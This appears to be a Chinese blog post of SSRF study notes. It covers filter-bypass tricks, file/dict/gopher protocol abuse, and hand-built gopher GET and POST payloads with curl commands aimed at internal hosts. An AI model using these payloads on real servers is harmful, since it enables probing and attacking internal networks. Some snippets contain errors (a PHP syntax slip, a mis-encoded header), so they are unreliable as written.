web渗透—SSRF

一:SSRF介绍

是一种由web服务器发出请求的漏洞;它能够请求到与它相连的内网资源;通过外网服务器当作跳板请求内网资源!

image

二:SSRF常用函数

(1)file_get_contents函数

//可以读取本地文件;也可以通过url读取相关远程文件
<?php
	$data = file_get_contents('url');
	echo $ data;
?>

(2)curl函数

https://example.com/?url=baidu.com

三:SSRF绕过策略

1、限制思路

(1)限制对特定域名的访问请求

(2)禁止访问内网ip地址

2、绕过

(1)添加端口

(2)短链接

(3)192.168.11.1 <===> 192.168.11.1.xip.io

(4)数值绕过(进制转化)

(5)跳转绕过

http://www.baidu.com@127.0.0.1
//就会跳转到127.0.0.1

四:SSRF常用协议

(1)file协议

//file协议主要用于访问本地计算机文件
file://文件路径
file://c:\\flag.txt

(2)dict

//dict协议用于探测端口开放情况
dict://serverip:pore/info
dict://127.0.0.1:3306

(3)gohper(万能协议)

  • 构造gopher数据包
空格改为%20;问号改为%3f;回车使用%0d%0a;最后一行+%0d%0a
  • gopher GET请求

(1)原始数据包

GET /ssrf/01/04/get.php?user=abc HTTP/1.1
Host: 192.168.0.104

(2)构造gopher GET请求包

GET%20/ssrf/01/04/get.php%3fuser=abc%20HTTP/1.1%0d%0aHost:%20192.168.0.104%0d%0a
//curl发起请求
curl gopher://192.168.0.104/_GET%20/ssrf/01/04/get.php%3fuser=abc%20HTTP/1.1%0d%0aHost:%20192.168.0.104%0d%0a
  • gopher POST请求

(1)原始数据包

POST /ssrf/01/04/post.php HTTP/1.1
Host: 192.168.0.104
Content-Type: application/x-www-urlenconded
Content-Length: 9

user=abcd

(2)构造gopher POST请求包

POST%20/ssrf/01/04/post.php%20HTTP/1.1%0d%0aHost:%0a192.168.0.104%0d%0aContent-Type:%20application/x-www-urlenconded%0d%0aContent-Length:%209%0d%0a%0d%0auser=abcd
//curl发起请求
gopher://192.168.0.104/_POST%20/ssrf/01/04/post.php%20HTTP/1.1%0d%0aHost:%0a192.168.0.104%0d%0aContent-Type:%20application/x-www-urlenconded%0d%0aContent-Length:%209%0d%0a%0d%0auser=abcd
//利用gohper协议就可以读取其中的信息!
posted @ 2024-08-07 15:44  Gsupl.落浅~  阅读(61)  评论(0)    收藏  举报